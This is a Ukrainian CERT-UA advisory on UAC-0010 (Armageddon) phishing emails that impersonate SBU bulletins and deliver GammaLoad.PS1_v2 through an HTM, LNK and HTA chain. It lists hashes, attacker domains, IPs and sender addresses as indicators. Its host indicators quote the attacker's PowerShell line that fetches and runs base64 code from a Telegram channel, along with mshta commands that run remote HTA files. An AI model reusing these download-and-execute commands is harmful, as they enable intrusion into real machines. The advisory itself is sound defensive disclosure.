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Кібератаки групи UAC-0010 (Armageddon) з використанням
шкідливої програми GammaLoad.PS1_v2 (CERT-
UA#5003,5013,5069,5071)

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено факт
масового розповсюдження електронних листів з темами "Інформаційний бюлетень", "Бойове
розпорядження", в тому числі, начебто, від Національної академії СБ України. При цьому, електронні
листи розсилаються на приватні електронні адреси об'єктів атаки.

В додатку до листа знаходиться HTM-дропер, відкриття якого призведе до створення на комп'ютері
RAR-архіву, наприклад "22_07_2022.rar". Останній містить LNK-файл з релевантною для жертви
назвою, наприклад, "Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України
від 22 липня 2022 року.lnk", а запуск файлу-ярлика призведе до завантаження і виконання HTA-
файлу.

Згаданий HTA-файл може містити VBScript-код, який, за допомогою PowerShell, здійснить
декодування та запуск шкідливої програми GammaLoad.PS1_v2.

Зауважимо, що зловмисники намагаються уникнути DNS-резолвів доменних імен серверів
управління, для чого, з метою отримання A-записів (IP-адрес), використовуться сторонні сервіси,
наприклад: hxxps://cloudflare-dns[.]com/dns-query, hxxps://whoer[.]net/ru/checkwhois та інші.

Принагідно відмічаємо підвищення інтенсивності атак із застосуванням описаних тактик та
закликаємо до вжиття системних заходів зі зменшення поверхні атаки (attack surface management),
адже, наприклад, використання сторонніх поштових сервісів на службовому обладнання нівелює
існуючий периметр безпеки (вміст і вкладення електронних листів не перевіряються засобами
захисту).

Описана активність здійснюється групою UAC-0010 (Armageddon).

Індикатори компрометації
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ІТВ_АСУ_ПД_Днiпpo_18.07.2022.htm


680a5bcbe5b068ee433c5bc35cde5d40	

7cca81a2e043e2a87cda812275e1817a6f35ede75d83f76bad8f7ffa6f7e6f18	
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Попереднє бойове розпорядження зі зв'язку начальника штабу - першего 

заступника командира 43 оабр.lnk
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Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 20 

липня 2022 року.lnk
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Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 22 

липня 2022 року.lnk
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Інформаційний бюлетень_25.07.2022.htm 


e96bd54cc8c9b26fa5020fe55ef4d25f	

b11f450a395ea22a71a5fd7f381783ec9e5639f68796b6a0a200ec8904ebcdad	

25_07_2022.rar


c7e81154fd9906fdd91f9053a24b19ce	

9569b0d2bd15beb7ae6ec17a3fb656f016693971d12c8d38b4de998c320550ff	

Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 25 

липня 2022 року.lnk


Мережеві:

a0695487.xsph[.]ru


a0698262.xsph[.]ru


a0698649.xsph[.]ru
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fishitor[.]ru


leonardis[.]ru


mail-box[.]site


fast-mail[.]site


your-mail[.]press


hXXps://t[.]me/s/topnewsas


hXXp://a0695487.xsph[.]ru/relationship/preservation.xml


hXXp://a0695487.xsph[.]ru/banisters/guess.xml


hXXp://a0698262.xsph[.]ru/see/guilty.xml


hXXp://a0698649.xsph[.]ru/reliance/grudge.xml


hXXp://a0698262.xsph[.]ru/see/guilty.xml


hXXp://a0698649.xsph[.]ru/nervous/Queen.xml


hXXp://a0698649.xsph[.]ru/selection/headache.xml


hXXp://a0698262.xsph[.]ru/quickly/neville.xml


hXXp://164[.]92.166.107/index[.]php


hXXp://45[.]63.114.110/index[.]php


hXXp://159[.]223.218.10/index[.]php


hXXps://cloudflare-dns[.]com/dns-query?name=%C2DOMAIN%&type=aaa (легітимний 

сервіс)

hXXps://whoer[.]net/ru/checkwhois (легітимний сервіс)


hXXp://194[.]67.87.33/CCLEANER123[.]db?=detachment


visnik-ssu@mail-box[.]site


dnipro@fast-mail[.]site


visnik-ssu@your-mail[.]press


Хостові:

%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -c ""$per = 

[Enum]::ToObject([System.Net.SecurityProtocolType], 3072);

[System.Net.ServicePointManager]::SecurityProtocol = 

$per;$urls='https://t.me/s/topnewsas';iex 

([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Um'+

((New-Object net.webclient).UploadString($urls,'')).split('*')[1])))""


C:\Windows\System32\mshta.exe http://a0698262.xsph[.]ru/see/guilty.xml /f


C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/reliance/grudge.xml /f


C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/selection/headache.xml 

/f

C:\Windows\System32\mshta.exe 

http://a0695487.xsph[.]ru/relationship/preservation.xml /f


C:\Windows\System32\mshta.exe http://a0695487.xsph[.]ru/banisters/guess.xml /f


C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/nervous/Queen.xml /f


C:\Windows\System32\mshta.exe http://a0698262.xsph[.]ru/quickly/neville.xml /f
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Графічні зображення


